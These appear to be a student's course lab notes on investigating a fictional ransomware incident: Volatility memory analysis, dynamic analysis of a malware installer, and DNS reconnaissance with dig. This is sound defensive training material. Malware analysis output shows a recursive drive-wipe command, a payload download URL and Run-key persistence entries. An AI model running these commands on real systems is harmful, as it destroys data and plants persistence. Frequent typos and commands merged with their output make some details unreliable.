* windows.filescan.FileScan
* windows.dlllist.DllList

<https://medium.com/@haircutfish/tryhackme-threat-intelligence-tools-task-4-abuse-ch-38c498112ea5>

sec504@slingshot:~/labs/falsimentis$ vol -q -f FM-TETRIS.mem windows.netscan.NetScan > fm-tetris.windows.netscan.NetScan.txt

sec504@slingshot:~/labs/falsimentis$ vol -q -f FM-TETRIS.mem windows.pstree.PsTree > fm-tetris.pstree.PsTree.txt

sec504@slingshot:~/labs/falsimentis$ vol -q -f FM-TETRIS.mem windows.pslist.PsList > fm-tetris.windows.pslist.PsList.txt

sec504@slingshot:~/labs/falsimentis$ vol -q -f FM-TETRIS.mem windows.cmdline.CmdLine > fm-tetris.windows.cmdine.CmdLine.txt

sec504@slingshot:~/labs/falsimentis$ vol -q -f FM-TETRIS.mem windows.filescan.FileScan > fm-tetris.windows.filescan.FileScan.txt

sec504@slingshot:~/labs/falsimentis$ vol -q -f FM-TETRIS.mem windows.dlllist.DllList > fm-tetris.windows.dlllist.DllList.txt

*You could also opt to run them all at once using a shell loop with the following command:* ***for plugin in windows.netscan.NetScan windows.pstree.PsTree windows.pslist.PsList windows.cmdline.CmdLine windows.filescan.FileScan windows.dlllist.DllList; do vol -q -f FM-TETRIS.mem $plugin > fm-tetris.$plugin.txt; done***

These commands all have the same structure, which breaks down as follows:

* Vol - the main Volaility script
* -q - Don’t display the progress indicator
* -f FM-TETRIS.mem - Read from the FM-TETRIS.mem memory capture file
* Plugin - the *plugin* name you wish to use
* > filename - Use output redirection to save the analysis to the specified *filename;* in this lab, named after the host and the plugin name

**Preprocessing with Strings**

Next, continue your preprocessing analysis with the Linux strings utility. Extract the ASCII, 16-bit little endian, and 16-bit big endian strings from the memory image with the three commands shown here.

sec504@slingshot:~/labs/falsimentis$ strings FM-TETRIS.mem > fm-tetris.strings-asc.txt

sec504@slingshot:~/labs/falsimentis$ strings -e 1 FM-TETRIS.mem > fm-tetris.strings-unile.txt

sec504@slingshot:~/labs/falsimentis$ strings -e b FM-TETRIS.mem > fm-tetris.strings-unibe.txt

By default, the strings command extracts printable ASCII text. The -e 1 option tells strings to extract 16-bit little endian strings. The -e b option tells strings to extract 16-bit big endian strings. All three string formats (ASCII, 16-bit little endian, and 16-bit big endian) can disclose useful information about the system under investigation.

**Examining Network Connections**

From the previous exercise, we know there was beacon traffic from many of the Falsimentis systems sent to the site www1-google-analytics.com, which had the IP address 167.172.201.123. To search for processes communicating with this address, search the Volaitlity windows.netscan.NetScan output using grep for the www1-google-analytics.com IP address, as shown here:

sec504@slingshot:~/labs/falsimentis$ grep 167.172.201.123 fm-tetris.windows.netscan.NetScan.txt

Notice the name of the process that connected to the suspicious IP address, analytics.exe with process ID 5736. Given that the domain was www1-google-analytics.com, the name analytics.exe seems like it would be a natural fit. Next, see if analytics.exe is communicating with other sites using grep again, this time by searching for the process name rather than IP address in the windows.netscan.NetScan plugin output, as shown here.

sec504@slingshot:~/labs/falsimentis$ grep analytics.exe fm-tetris.windows.netscan.NetScan.txt

From examining the output, it appears the only remote systems analytics.exe connected to was 167.172.201.123, at least at the time of capture.

*For purposes of completeness, it would normally be a good idea to examine all of the output of the windows.netscan.NetScan plugin. For now, we’ll move forward, but feel free to examine all of the output if you have extra time during this exercise.*

**Examining Processes**

Let’s examine the processes that were running when the memory image was collected. The windows.pslist.PsList and windows.pstree.PsTree plugins will show this information, including fields such as the process name, parent process ID, and so on. When looking at the parent-child relationship between processes, it is sometimes easier to examine the output of windows.pstree.PsTree since the relationship is shown visually. You can view the output of the windows.pstree.PsTree plugin using grep, searching for the analytics.exe process with several lines of context before and after the matching string,as shown here.

sec504@slingshot:~/labs/falsimentis$ grep -C 3 analytics.exe fm-tetris.windows.pstree.PsTree.txt

*This is an odd-looking process tree. ONENOTE.EXE (process ID 8016) spawned cmd.exe (process ID 4452). This cmd.exe spawned another copy of analytics.exe (process ID 5736). The second analytics.exe spawned another cmd.exe (process ID 5804). ONENOTE.EXE also spawned a random-looking process named bJKRJiSAnPkf.e (process ID 5568). Executable names are often trimmed to 14 characters.*

*TIP: Timestamps used by Volaltility are shown in UTC time. Volatility3 does not yet support the ability to convert time to a specified timezone (a missing feature from the switch from Volatility2 to Volatility3.*

**Examining File Objects**

sec504@slingshot:~/labs/falsimentis$ grep analytics.exe fm-tetris.windows.filescan.FileScan.txt

Reviewing the output, it appears analytics.exe is stored in the \Windows\System32 directory. This information can be useful when building indicators (signatures) that the malware may be installed on a system. Searching for the string bJKRJiSAnPkf.e yields no results.

sec504@slingshot:~/labs/falsimentis$ grep bJKRJiSAnPkf.e fm-tetris.windows.filescan.FileScan.txt

**Examining Loaded DLLs**

Next, let’s take a look at loaded DLLs and command lines for the processes of interest (analytics.exe and bJKRJiSAnPkf.e). The windows.dlllist.DllList plugin can show this information. Use the grep command to show five lines of context before and after each string match for analytics.exe, as shown here.

sec504@slingshot:~/labs/falsimentis$ grep -C 5 analytics.exe fm-tetris.windows.dlllist.DllList.txt

Unfortunately, Volatility isn’t able to enumerate DLL information for the analytics.exe process. There are different reasons for this, such as the relevant memory pages being swapped out to disk, smear issues (problems caused because the memory is changing while it is being captured), and so on.

**Examining Command Lines**

Next, let’s check for any command line details associated with the analytics.exe process using grep, as shown here.

sec504@slingshot:~/labs/falsimentis$ grep analytics.exe fm-tetris.cmdline.CmdLine.txt

The memory capture does not indicate any command line information for other process, though the child process reports inaccessible memory. This is common for memory analysis is useful for incident response. It is not always a comprehensive source of information.

**Examining Strings**

Using a tool like Volatility allows you to extract and interpret information from memory images in an accessible format. Sometimes the ability to use such tools is not available, and you must rely on *lower resolution* techniques. One popular approach is to use the strings utility.

**Searching for analytics.exe**

Since the Midnite Meerkats appear to be using a program called analytics.exe let’s search through the (previously extracted) strings to see if there is anything else relevant.

sec504@slingshot:~/labs/falsimentis$ grep -i analytics.exe fm-tetris-strings-\*.txt

That is too much data to sift through by hand. Instead search for something more specific that will less likely to generate so much output. Recall that the filescan output showed the analytics.exe process having the file analytics.exe open in \Windows\System32. Try performing a case-insensitive search for strings that contain Windows\System32\Analytics to see if there are additional related files.

sec504@slingshot:~/labs/falsimentis$ grep -i -h ‘windows\\system32\\analytics’ fm-tetris,strings-\*.txt | sort -u

The command is broken down as follows:

* Grep -i -h ‘windows\\system32\\analytics’ fm-tetris,strings-\*.txt - perform a case-insensitive search (-i), omitting the file name information (-h) for lines of text that contain windows\system32\analytics in the strings files (we use \\ to escape the shell metacharacter \ and search for the backslash as a literal; this also requires that we surround the search strings with single quotes)
* Sort -u - sort the lines of output; returning unique lines (-u)

Examining the output, there are two more files that might be of interest:

* C:\Windows\System32\analyticsbackup.bat and C:\Windows\system32\AnalyticsInstaller.exe.

**Searching for bJKRJiSAnPkF.e**

Now perform the same type of search for the oddly named executable bJKRJiSAnPkF.e without the .e extension (to increase the chance of finding related files):

sec504@slingshot:~/labs/falsimentis$ grep -i -h bJKRJiSAnPkF fm-tetris-strings-\*.txt | sort -u

*The location and file name of* bJKRJiSAnPkF *are also facts that are worth adding to your notes*

At the end of this lab, close the terminal used to run Volatility.

**Summary**

There have been several pieces of information discovered about the Falsimentis incident. They can be summarized as:

* The program analytics.exe (process ID 5736) communicates with www1-google-analytics.com
* A suspicious program named bJKRJiSAnPkF.exe is located in \Users\jchadwick\appdata\local\temp.
* At 17:33:33 AM UTC, ONENOTE.EXE spawned a copy of bJKRJiSAnPkF.exe (process ID 5568).
* At 17:34:06 AM UTC, ONENOTE.EXE spawned a copy of cmd.exe (process ID 4452).
* At 17:34:09 AM UTC, cmd.exe (process ID 4452) spawned analytics.exe (process ID 2532).
* At 17:34:10 AM UTC, analytics.exe (process ID 2532) spawned analytics.exe (process ID 5736).
* At 18:08:06 AM UTC, analytics.exe (process ID 5736) spawned cmd.exe (process ID 5804).

**Bonus (If Time Permits or for Homework)**

**Investigating Other Strings**

As a bonus part of the lab exercise, let’s search for other string values associated with the incident. From your terminal, search for the string midnitemeerkats in all the text files generated using Volailtity and the strings utility, as shown here. We see as single reference to the midnitemeerkats string, revealing a command that appears to start the default browser in full-screen mode by opening the URL with the Windows start utility. Let’s investigate this website to collect additional information that could be useful for our analysis. From the terminal, run the connect-net script to connect Slingshot Linux to the internet, as shown here. Next, open the <https://midnitemeerkats.com/note/> URL in Firefox, the page will look similar to the example shown here. In the page we see the ransom note, but the attackers also included a link to a YouTube video. Sometimes, YouTube links can reveal additional information about the attacker identity and the associated websites. Click on the YouTube video Share link to to get the short URL string, as shown here. The share link for the YouTube video is <https://youtu.be/GSMCRD35ch4>. Let’s cross-reference the shortened identifier GSMCRD35ch4 with the output from the memory investigation files, as shown here.

sec504@slingshot:~/labs/falsimentis$ grep GSMCRD35ch4 fm-tetris.\*txt | sort -u

If you look at the end of the line that contains the youtube.com embed URL, you will see the variable origin=<http://lolcats.org>. According to the YouTube Embedded Players and Player Parameters documentation, the origin parameter is used to provide an extra measure of security and “you should always specify your domain as the origin parameter value.” This tells us that, at one time, the YouTube video was embedded in a page located at <http://lolcats.org>. Finding the lolcats.org domain associated with this incident is significant since it reveals another site used by the Midnite Meerkats attacker. This can provide valuable insight into the attack against Falsimentis.

**Revisit Network Investigation Data**

The new domain associated with the Midnite Meerkats random message is another valuable Indicator of Compromise (IOC).We can return to the return to the network investigation data and apply the new IOC to continue collecting information about the breach. From your terminal, search the web proxy file access.log for the domain name lolcats.org, as shown here.

sec504@slingshot:~/labs/falsimentis$ grep lolcats.org access.log

Searching the access.log file confirms that there is activity directed to the lolcats.org domain. Refine these results by searching for lolcats.org with Awk, extracting several fields of interest, as shown here.

sec504@slingshot:~/labs/falsimentis$ TZ = America/Los\_Angeles awk ‘/lolcats.org/ {print strftime(“%T”, $1), $3, $5, $7, $9}’ access.log

The Awk command breaks down as follows:

* TZ = America/Los\_Angeles - temporarily sets the local timezone to America/Los\_Angeles. This is needed because the timestamps are stored in the UTC timezone, and the strftime function can only display timestamps according to either UTC, or the local system timezone.
* /lolcats/ - only process lines that contain the string lolcats.
* {print - start an Awk program with { and print the following fields:
  + Strftime (“%T”, $1) - print the timestamp in HH:MM:SS format.
  + $1 - first field (timestamp)
  + $3 - Third field (reqeuesting client)
  + $7 - seventh field (requested URL)
  + $9 - ninth field (lolcats.org IP address)
  + ) - Close the Awk program
  + Access.log - The file to process

Inspecting this output we see timestamps for activity going to an attacker-controlled site that predate our earlier analysis results. By applying information gathered in the memory investigation phase, and then repeating steps from the network investigation phase, we learn that 172.16.42.103 (FM-TETRIS) and 172.16.42.105 (FM-ELECTRONICA) communicated with the lolcats.org domain several hours in advance of TCP/8090 command and control activity (C2) activity.

**Cleanup**

Restore the network settings by running connect-lab, as shown here.

sec504@slingshot: ~/labs/falsimentis$ connect-lab

Done.

Finally, closeFirefox and the terminal session used to complete these lab steps.

**Additional Resources**

The Art of Memory Forensics (<https://www.memoryanalysis.net/amf>)

**Lab 1.4**: Malware Investigation

Try it Yourself - read the continuation of the Falsimentis scenario at the start of the Walk Through section. Once you’ve familiarized yourself with the updates analyze the analyticsinstaller.exe file in the C:\tools\falsimentis directory. While analyzing the file try to answer the following questions:

* What artifacts are left by the malware installer?
* What host(s) and port(s) does the malware installer communicate with?
* What is the mechanism used to delete files if the ransom is not paid, and how can it be disabled?

**Scenario Update**

Courtesy of a limited threat intelligence report, you learn that malware analytics.exe was installed by a tool called analyticsinstaller.exe. Copies of both specimens are included with the report. The CEO of Falsimentishas asked you to not upload the specimens to any online sites. You will need to perform analysis without the aid of external analysis sites. Since the file analyticsinstaller.exe is new to the scenario, the system administrator asked you to analyze this file.

**Calculate Basic Properties**

First open a PowerShell prompt with administrative privileges. To do this right-click on the Windows PowerShell icon on your desktop, and then click Run as administrator.

Now change into the c:\tools\falsimentis directory and calculate the MD5 and SHA256 hash sums, as shown here.

PS C:\WINDOWS\system32> cd c:\tools\falsimentis

PS C:\tools\falsimentis> Get-FileHash -Algorithm MD5 AnalyticsInstaller.exe

PS C:\tools\falsimentis> Get-FileHash -Algorithm SHA256 AnalyticsInstaller.exe

*There is no standard hashing algorithm to use. Many analysts use a combination of SHA256 and MD5 to reduce the chance of misidentification due to collisions with specially-crafted malware.*

The Get-FileHash command breaks down as follows:

* -Algorithm controls which hashing algorithm is used, MD5 or SHA256.
* AnalyticsInstaller.exe is the file to use for hash calculation.

Cryptographic hash sums are a common way to identify malware, since they remain the same even if the file name changes. This helps analysts confirm they are communicating about the same specimen.

**Examine Malware Strings**

Run the Sysinternals strings utility to examine the ASCII and Unicode strings that are at least 10 characters long. To do this run C:\tools\sysinternals\strings.exe with the -n 10 argument.

PS C:\tools\falsimentis> C:\tools\sysinternals\strings.exe -n 10 .\AnalyticsInstaller.exe

There are some strings worthy of note:

* First the URL <http://www1-google-analytics.com:8088/analytics.exe>. In the Network Investigation lab we discovered that the attackers used port 8090 and port 80. Port 8088 is an additional port that we can investigate.
* The registry key Software\Microsoft\Windows\CurrentVersion\Run is an AutoStart Extensibility Point (ASEP) and is a common method used by malware to persist following a reboot.
* The cmd.exe /c rd c:\ /s /q command is used to recursively delete the files and folders starting at the root of the file system. Since the ransom note mentioned the loss of files, this could be a possible mechanism.
* The powershell.exe command has a Base64 encoded command, which is suspicious, especially since this is malware.
* The cmd.exe /c start /max <http://www.midnitemeerkats.com/note> will display a copy of the ransom note, similar to what the CEO saw.

*Remember that it is straightforward for malware authors to embed fake strings and hide real strings. Therefore, you should consider* strings *output as suggestions.*

**Examine Registry and File System Changes**

Now, let’s take a look at some of the changes the malware installer makes to the environment. The first tool we’ll use is Regshot. Regshot is a snapshot-recording tool. That is, it takes a snapshot of the registry and (optionally) file system details at two different points in time and highlights the differences between the two.

**Start and Configure Regshot**

PS C:\tools\falsimentis> c:\tools\regshot\regshot\_x64.exe

Regshot automatically scans the registry for changes, and we can also scan for file system changes. Click on the checkbox labeled Scan ***dir1[;dir2;dir3…;dir nn]*** and then type C:\ in the box beneath the checkbox, as shown here.

**Take the First Snapshot**

Take the first (baseline) snapshot using Regshot. To do this click 1st shot | Shot.

*IMPORTANT: This may take a minute or more to run. Make sure to let it finish before running the malware installer.*

**Run AnalyticsInstaller.exe**

After the first snapshot has finished, switch back to the PowerShell prompt and run .\AnalyticsInstaller.exe. It is necessary to type the . \ since the current directory is not in the path.

**Take the Second Snapshot**

Once the malware installer has completed take the second snapshot as like in the first. Once the second snapshot has completed, the 2nd shot button will be greyed out and the Compare button will become available.

**Compare Snapshots and Examine Output**

Now use Regshot to compare the two snapshots. To do this click the *Compare* button. Once Regshot is done comparing the two snapshots, it will open a text file which shows the various types of changes. Even with the snapshot-recording approach, there can be quite a bit of output to review.

From the *Keys Added* section, the following entry is of interest:

* HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Analytics Backup

This key is created when scheduled tasks are created on Windows. To confirm use the Get-ScheduledTask cmdlet with -TaskName “Analytics Backup”.

PS C:\tools\falsimentis> Get-ScheduledTask -TaskName “Analytics Backup”

From the *Values Added* section, the following entries are of interest:

* HKLM\SOFTWARE\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\(12D55D49-D632-45DA-983F-E6C51C24C8F8)\Path: “\Analytics Backup”
* HKLM\SOFTWARE\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\(12D55D49-D632-45DA-983F-E6C51C24C8F8)\Path: “\Analytics Backup Service”
* HKLM\SOFTWARE\Windows\CurrentVersion\Run\Analytics Client: “C:\Windows\System32\analytics.exe”
* HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\File Saver: “cmd.exe /c start /max <http://midnitemeerkats.com/note>”

The first two entries are related to the creation of the scheduled task. The third and fourth entries are ASEPs. The third entry runs the program C:\Windows\System32\analytics.exe when a user logs on. The fourth entry opens a browser window, pointing to the ransom note when a user logs on.

*The WOW6432 Node part of the registry key is an artifact of running 32-bit software on a 64-bit architecture. This is part of the Windows 32-bit on Windows 64-bit (WoW64) subsystem.*

From the *Files Added* Section, the following entries are of interest:

* C:\Windows\Prefetch\ANALYTICSINSTALLER.EXE-E57CE4F0.pf
* C:\Windows\System32\Tasks\Analytics Backup
* C:\Windows\SysWOW64\AnalyticsBackup,bat

The first entry is part of the Windows Prefetcher (now SuperFetch) functionality. Prefetch files contain information about the most recent time a program was run, as well as the directory it was run from. The information can be correlated with other system artifacts and added to your timeline. The second entry is the result of a scheduled task addition. The third entry shows a batch file addition. You can display the contents using the Get-Content cmdlet.

PS C:\tools\falsimentis> Get-Content C:\Windows\SysWOW64\AnalyticsBackup.bat

This matches the line of output previously discovered in the strings command. Since this will recursively delete files, it is likely the mechanism the Midnite Meerkats used.

We’re done with REgshot, so go ahead and close it.

**Examine Process Activity**

PS: C:\tools\falsimentis> C:\tools\sysinternals\Procmon.exe

**Configure Procmon**

Once Procmon starts up, it will be capturing events. To disable the live capture, click the capture button to stop the capture (or press Ctrl + E). The next step is to create a filter to focus on just events reated to AnalyticsInstaller.exe. To do so, click Filter | Filter. In the Filter dialog box, select the drop down that shows *Architecture* and change it to *Process* name. In the input box type AnalyticsInstaller.exe. Then click the *Add* button. Finally click the OK button at the bottom of the dialog box. Now configure Procmon to discard events that do not match the display filters. This helps save memory since there can be *many* events generated, even on a “quiet” system. To do this, click Filter | Drop Filtered Events.

**Enable Capture, Run Malware, Disable Capture**

Before starting the malware installer, enable event capturing by clicking on the *Capture* icon, so that it appears slightly shaded. Now switch back to PowerShell and run the malware installer.

PS C:\tools\falsimentis> .\AnalyticsInstaller.exe

*The error message is because the scheduled task already exists. It can safely be ignored.*

After the malware installer has completed, disable event capture by clicking on the capture icon again, so that the shading disappears.

**Examine Process Activity**

One of the limitations of Regshot is that it only examines registry and file system activity. Let’s use Procmon to examine process activity. To display just process activity, click the registry, file system, and network filter buttons. When you do this, they will no longer have a light blue background. Now, let’s look for process creation. To do this, click Edit | Find. In the Find dialog box, type *Process Create* into the box labeled *Find what* and click the *Find next* button. The first hit shows a *Process Create* operation for cmd.exe. To get more detail double-click on the highlighted entry.

As you can see, the command line appears to spawn a PowerShell process. Since the filter we created earlier only included AnalyticsInstaller.exe, we won’t see events related to cmd.exe or any processes it spawns. Even though we didn’t include cmd.exe in the filter, Procmon still captures process spawn activity in the *Process Tree*. To see this, close the Event Properties window, then click Tools | Process Tree.

PS C:\tools\falsimentis> Unregister-ScheduledTask -TaskName “Analytics Backup”

Next, remove the malware artifacts in C:\windows\SysWOW64\analytics\* as shown here.

PS C:\tools\falsimentis> del c:\windows\syswow64\analytics\*

Next, remove the ASEP entries for the Analytics Client and File Saver properties, as shown here.

PS C:\tools\falsimentis> Get-Item HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | Remove-ItemProperty -Name “Analytics Client”

PS C:\tools\falsimentis> Get-Item HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | Remove-ItemProperty -Name “File Saver”

PS C:\tools\falsimentis> Get-Item HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

Close the PowerShell window to complete the lab exercise.

**Summary**

In this lab we discovered additional information about the Midnite Meerkats malware that can be used for incident response actions. The program AnalyticsInstaller.exe appears to be the registry installer used by the attackers. The malware performs the following activities:

* Creates a scheduled task called *Analytics Backup*, described as the *Analytics Backup Service.*
* Creates a batch file *AnalyticsBackup.bat* which if run, recursively deletes all files and folders on the C drive of a Windows system.
* Communicates with www1-google-analytics.com on port **8088**.
* Will download the file analytics.exe if the file is provided.
* Adds an ASEP under the *CurrentVersion\Run* registry key called *Analytics Client*, which runs analytics.exe
* Adds an ASEP under the *CurrentVersion\Run* registry called *File Saver* which displays a ransom note.

**Bonus (If Time Permits or for Homework)**

If you have additional time during the lab, or wish to continue your investigation of the Midnite Meerkats malware after class is over, you can continue with the lab steps below.

*NOTE:* For the bonus portion of the lab exercise, you will need Slingshot Linux and your Windows 10 VM.

**Examine Network Traffic**

Earlier in the lab we used Procmon to evaluate the malware, which can reveal network behavior information. We can also view network details by examining the network traffic using packet capture tools.

**Start Tcpdump**

sec504@slingshot:~$ cd ~/labs/falsimentis

sec504@slingshot:~/labs/falsimentis$ sudo tcpdump -n -i eth0 udp port 53, tcpdump verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

*NOTE: VMWare may prompt you to permit monitoring of network traffic from your host system when you run Tcpdump. You can choose Cancel to restrict this access, if desired*.

The tcpdump command breaks down as follows:

* -n: - don’t resolve host name or port numbers
* -i eth0 - monitor traffic on the interface eth0
* Udp port 53 - only capture traffic destined for UDP port 53

Now switch back to your Windows virtual machine. Open PowerShell as an administrator, then set the DNS server to 10.10.75.1 using the Set-DnsClientServerAddress cmdlet.

PS C:> Set-DnsClientServerAddress -InterfaceAlias Ethernet - ServerAddress (“10.10.75.1”)

Next, launch the malware installer again.

PS C:\tools\falsimentis> .\AnalyticsInstaller

**Examine Tcpdump Traffic**

After the malware installer has finished running switched back to your Linux VM and type tcpdump by pressing CTRL + C. Examine the tcpdump output - you will see one or more lines similar to the one below. This output (which output?) shows a DNS request originating from your Window VM, directed towards your Linux VM, attempting to look up the host www1-google-analytics.com.

08:18:04.025272 IP 10.10.0.1.63424 > 10.10.75.1.53: 24230+ A? www1-google-analytics.com. (43)

*You may also see additional DNS activity to Microsoft (dns.msftncsi.com, settings-win.data.microsoft.com) and Google (clients4.google.com, accounts.google.com) in the tcpdump output. This is normal activity and is unrelated to the malware installer.*

**Molding the Environment**

We’re now going to start molding the environment to what the malware installer expects. Since it is expecting to look up a hostname, we can add an entry to the hosts file on the Wiindows VM, pointing www1-google-analytics.com to 10.10.75.1 to intercept the request.

PS C:\tools\falsimentis> Add-Content -Path C:\windows\system32\drivers\etc\hosts - Value “10.10.75.1 www1-google-analytics.com”

Since we don’t know what type of connections the malware will attempt to make to www1-google-analytics.com, we need to restart tcpdump and have it capture all traffic, as shown here.

sec504@slingshot:~/labs/falsimentis$ sudo tcpdump -n -i eth0

Now switch back to the Windows Virtual Machine and run the malware installer again.

C:\tools\falsimentis> .\AnalyticsInstaller

After the malware installer has finished running, switch back to your Linux VM and stop tcpdump by pressing CTRL + C. Examine the tcpdump output - you will see one or more lines similar to the one below.

*The source port in the example above is 1545, yours will likely be different. This is not a problem. The key is the destination port 8088.* This shows a connection attempt to TCP port 8088. Since there is nothing currently listening on that port, a TCP reset is sent back.

**Capture the Incoming Request**

Since the malware installer is attempting to connect to TCP port 8088, let’s set up a Netcat listener using the nc command.

sec504@slingshot:~/labs/falsimentis$ nc -n -v -l -p 8088

Listening on [any] 8088…

The nc command breaks down as follows:

* -n: Don’t resolve hostnames
* -v: Displays verbose output (e.g. when it is listening, when a connection is made, etc.)
* -l: Listen mode
* -p 8088 - listen on port 8088

Now switch back to your Linux VM and run the malware installer again. Switch back to your Linux VM and examine the output displayed by Netcat.

Connect to [10.10.75.1] from (UNKNOWN)(10.10.0.1) 1546

GET /analytics.exe

Accept: \*/\*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.OC; .NET4.OE; .NET CLR 2.0.50727; .NET CLR 3.5.30729)

Host: www1-google-analytics.com:8088

Connection: Keep-Alive

This appears to be an HTTP GET request for /analytics.exe. Now that we’ve identified the protocol in use, we can terminate the Netcat listener by pressing CTRL + C and continue with molding the environment to give the malware the HTTP server it expects.

**Serving analytics.exe with Python**

A copy of analytics.exe has been provided in the /home/sec504/labs/falsimentis directory. To serve up the file over HTTP use Python’s built-in web server and tell it to listen on port 8088.

sec504@slingshot:~/labs/falsimentis: python3 -m http.server 8088

Serving HTTP on 0.0.0.0 port 8088…

Now switch back to your Windows VM and run the malware installer from PowerShell. Now switch back to your Linux VM. You will see output similar to what is shown below.

10.10.0.1 - - [12/Apr/2020 08:31:11] “GET /analytics.exe HTTP/1.1 200”

This suggests indeed the malware installer is attempting to download the file analytics.exe. To further confirm this switch back to your Windows VM and look for analytics.exe in the C:\Windows\SysWOW64 directory (the same one the AnalyticsBackup.bat file was created in.)

PS C:\tools\falsimentis> dir C:\Windows\SysWOW64\analytics\*

*TIP: When examining evidence, always consider the diagnosticity. That is, not only does the evidence support one theory, but does it also exclude other theories? In this case what we have appeared to be a regular HTTP GET request. The fact that the malware installer downloaded the file when provided supports this theory. However, this information by itself does not exclude other theories. For example, this could be how the malware checks in, using a request designed to fool analytics. Without further examination of additional evidence (e.g. network traffic, and ideally, code) it would be irresponsible to rule out other theories.*

Next, remove the malware artifacts from the system. Copy and paste the stacked command here into the administrative PowerShell session.

PS C:\Tools\falsimentis> Unregister-ScheduledTask -Confirm -TaskName “Analytics Backup” -ea SilentlyContinue ; Get-Item HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ | Remove-ItemProperty -Name “File Saver” -ea SilentlyContinue

**Lab 1.5: Bootcamp: Linux Olympics**

**Start the Bootcamp Exercise**

From your terminal, run the bootcamp command, as shown here.

sec504@slingshot:~$ bootcamp

…

**Lab 1.6: Bootcamp: PowerShell Olympics**

**Brief intro**

In this lab you will work on developing your PowerShell skills through an interactive event: The PowerShell Olympics. You will have a chance to work through multiple PowerShell exercises that provide guidance on using PowerShell to complete common tasks. You can use these exercises as often as needed to build and retain these skills.

*TIP: The answers to all of the PowerShell Olympics challenges are available in PDF form, located in the bootcamp directory of your ISO media file.*

**Walkthrough**

**Navigate to the PSOlympics Directory**

Open Windows Explorer and navigate to the C:\Tools\psolympics directory. Double-click on the PowerShell Olympics icon to start. From the PowerShell Olympics Launcher, click on an even, then click the Launch button to start.

…

**Lab 2.1: DNS Interrogation**

In this lab, you will use several tools to interrogate a DNS server, collecting information like an attacker wouldas part of a reconnaissance assessment for the Falsimentis organization. Following the DNS server interrogation, you will review DNS logging information to gain insight into the evidence left behind after this attack.

**Try it Yourself**

Launch the Falsimentis DNS server target by running gonameserver. Use Dig to interrogate the server at 172.30.0.254, identifying different servers. Use the Nmap dns-brute script to collect more information, customizing the host list to identify even more systems. Review the DNS server logging information after the attack in ~/labs/dnslog.

**Walkthrough**

In this lab you will interrogate the Falsimentis DNS server as part of an authorized assessment of their infrastructure.

**DNS Interrogation with Dig**

Dig is a popular command-line tool for querying DNS servers from the Internet Service Consortium (ISC). Let’s examine the command-line parameters for a simple DNS query; run the dig command example shown here to query the Falsimentis DNS server for the name [www.falsimentis.com](http://www.falsimentis.com) (<http://www.falsimentis.com>).

sec504@slingshot:~$ dig @172.30.0.254 A www.falsimentis.com

The arguments for this command break down as follows:

* @172.30.0.254: The @ sign indicates that the query should be sent the server identified by a host name or IP address; here the DNS request is sent to 172.30.0.254
* A: The DNS record type to interrogate; an A record is an *address* record, returning an IPv4 address
* [www.falsimentis.com](http://www.falsimentis.com): The value to interrogate; here we are asking the DNS server to return the IP address for [www.falsimentis.com](http://www.falsimentis.com) (<http://www.falsimentis.com>)

In this output we see verbose DNS processing information (lines beginning with ;), and an answer where [www.falsimentis.com](http://www.falsimentis.com) (<http://www.falsimentis.com>) returns an IP address of 45.76.171.86.

*In the answer section, the number 86400 is the Time To Live (TTL), or the amount of time the resolver (e.g., the client performing the lookup) should cache the DNS answer, in seconds. IN stands for an internet record.*

Dig also supports query *modifiers* specified as command line arguments with a leading plus sign. One useful query modifier is +short which will make the DNS server response less verbose. Run the query again, this time adding the +short query modifier, as shown here.

sec504@slingshot:~ dig +short @172.30.0.254 A [www.falsimentis.com](http://www.falsimentis.com) 45.76.171.86

In some cases you may want the greater detail provided by default, but for most Dig uses the +short modifier makes the output easier to read and understand.

**Zone Transfer Request**

A *zone transfer* is a DNS feature where a DNS server can disclose all DNS records. We can request a zone transfer with Dig, using the DNS record type AXFR and the target domain name (e.g., falsimentis.com). Modify the previous dig command to request a zone transfer from the Falsimentis DNS server, as shown here.

sec504@slingshot: ~$ dig +short @172.30.0.254 AXFR falsimentis.com; Transfer failed.

Here we see the zone transfer failed. This is to be expected; it is uncommon for DNS servers to allow for zone transfer requests, particularly for internet-facing DNS systems. However, it does not prevent us from interrogating the DNS server directly for specific names and DNS record types.

**Mail Exchange Record Request**

Most DNS requests require that the resolver specify a record type and host name (such as the A record request for [www.falsimentis.com](http://www.falsimentis.com). However, the Mail Exchange (MX) record type will reveal host name information for the mail systems associated with a domain. Modify the previous dig command to request the records from the Falsimentis DNS server for the falsimentis.com domain, as shown here.

sec504@slingshot:~$ dig +short @172.30.0.254 MX falsimentis.com 10 falsimentis-com.mail.protection.outlook.com

Here the DNS server returns a single mail exchange server record, indicating that for [*user@falsimentis.com*](mailto:user@falsimentis.com)should be delivered to falsimentis-com.mail.protection.outlook.com (The Microsoft 365 Server). In this output we learn that Falsimentis uses Microsoft 365 for email - a valuable piece of reconnaissance information. We’ll investigate attacks against the Microsoft 365 cloud service in a later exercise.

*TIP: A motivated attacker will take notes as they gather reconnaissance information for the target network. You can do so as well, writing the results in a notebook or copy and paste the commands and results to a text file for later reference, if desired.*

**Manual DNS Interrogation**

Use Dig to request several common DNS names: admin, login, backup, ns, share, and support, as shown here.

sec504@slingshot:~$ dig +short @172.30.0.254 A admin.falsimentis.com

sec504@slingshot:~$ dig + short @172.30.0.254 A login.falsimentis.com

23.21.211.161

sec504@slingshot:~$ dig + short @172.30.0.254 A backup.falsimentis.com

sec504@slingshot:~$ dig +short @172.30.0.254 A backup.falsimentis.com

sec504@slingshot:~$ dig +short @172.30.0.254 A ns.falsimentis.com

sec504@slingshot:~$ dig +short @172.30.0.254 A share.falsimentis.com

sec504@slingshot:~$ dig +short @172.30.0.254 A support.falsimentis.com

172.17.0.211

